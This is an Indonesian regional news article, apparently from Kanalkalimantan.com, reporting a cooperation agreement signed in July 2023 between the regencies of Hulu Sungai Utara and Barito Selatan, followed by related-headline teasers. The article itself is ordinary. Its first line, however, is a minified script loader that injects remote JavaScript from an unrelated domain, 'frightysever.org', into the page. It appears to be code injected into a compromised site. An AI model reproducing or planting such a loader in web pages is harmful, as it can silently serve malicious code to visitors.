(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Meningkatkan kerjasama program pembangunan, pemanfaatan, dan pengembangan potensi daerah, Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan naskah kesepakatan bersama Kabupaten Barito Selatan (Barsel) Provinsi Kalimantan Tengah (Kalteng) di Mess Negara Dipa, Selasa (11/7/2023).6
Kesepakatan bersama tersebut merupakan standar amanat pasal 369 Undang-Undang Nomor 23 tahun 2014 dan diperkuat Peraturan Pemerintah nomor 28 tahun 2018 tentang kerjasama daerah.
Penjabat (Pj) Bupati HSU Zakly Asswan didampingi Sekretaris Daerah (Sekda) HSU Adi Lesmana beserta jajaran pejabat Pemkab HSU menerima kedatangan Pj Bupati Barsel Deddy Winarman beserta jajaran.
Baca juga: Mengurai ‘Kacau Balau’ Kabel dan Tiang di Banjarbaru yang Bisa Bikin Celaka
“Kami menyambut baik dan gembira atas terlaksananya kerjasama yang dituangkan dalam kesepakatan bersama antara Pemerintah Kabupaten HSU dengan Pemerintah Kabupaten Barito Selatan,” kata Pj Bupati HSU Zakly Asswan.
Zakly menyebut, kerjasama ini berkaitan dengan pelayanan dasar dan non pelayanan dasar, serta urusan pemerintahan lainnya. Tujuannya untuk meningkatkan kerja sama daerah dalam berbagai program dan kegiatan pembangunan serta pemanfaatan dan pengembangan potensi daerah perbatasan yang mempunyai keterkaitan.
Dia berharap kesepakatan bersama ini dapat dilaksanakan berdasarkan prinsip efesiensi, efektivitas, sinergi, saling menguntungkan, itikad baik, dengan mengutamakan kepentingan nasional.
Baca juga: Mitra Binaan PLN “My Bronie” Sajikan Pilihan Brownies Kreatif Khas Banua
“Mudah-mudahan kesepakatan kerjasama ini benar-benar memberikan kemanfaatan dan kemaslahatan baik bagi pemerintah Kabupaten HSU ataupun Kabupaten Barito Selatan,” pungkasnya.
Sementara itu, Pj Bupati Barsel H Deddy Winarman mengakui kerjasama antar daerah berarti berbicara tentang terkait dengan pertimbangan efisiensi dan efektivitas pelayanan publik. Dan tentu saja saling menguntungkan.
“Hal tersebut harus dilihat dari tujuan otonomi daerah dahulu,” katanya.
Deddy menjelaskan, tiga tujuan otonomi daerah, diantaranya mewujudkan kesejahteraan masyarakat, memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa.
Baca juga: Rumah Makan Bakoel Kemangi Terbakar, Seorang Pelayan Terluka
Selain itu, kesepakatan bersama ini sebagai sarana mengembangkan potensi daerah masing-masing, serta tujuan positif dari adanya kerjasama antar daerah dapat tercapai.
Dia menyebut, Kabupaten HSU adalah mitra yang tepat dan memiliki kapasitas yang dibutuhkan bagi Kabupaten Barito Selatan dalam mewujudkan kerjasama yang sinergis.
“Diharapkan perangkat daerah teknis dapat melaksanakan tindak lanjut dari komitmen ini dalam bentuk perjanjian kerjasama antar perangkat daerah teknis,” tutupnya. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
This website uses cookies.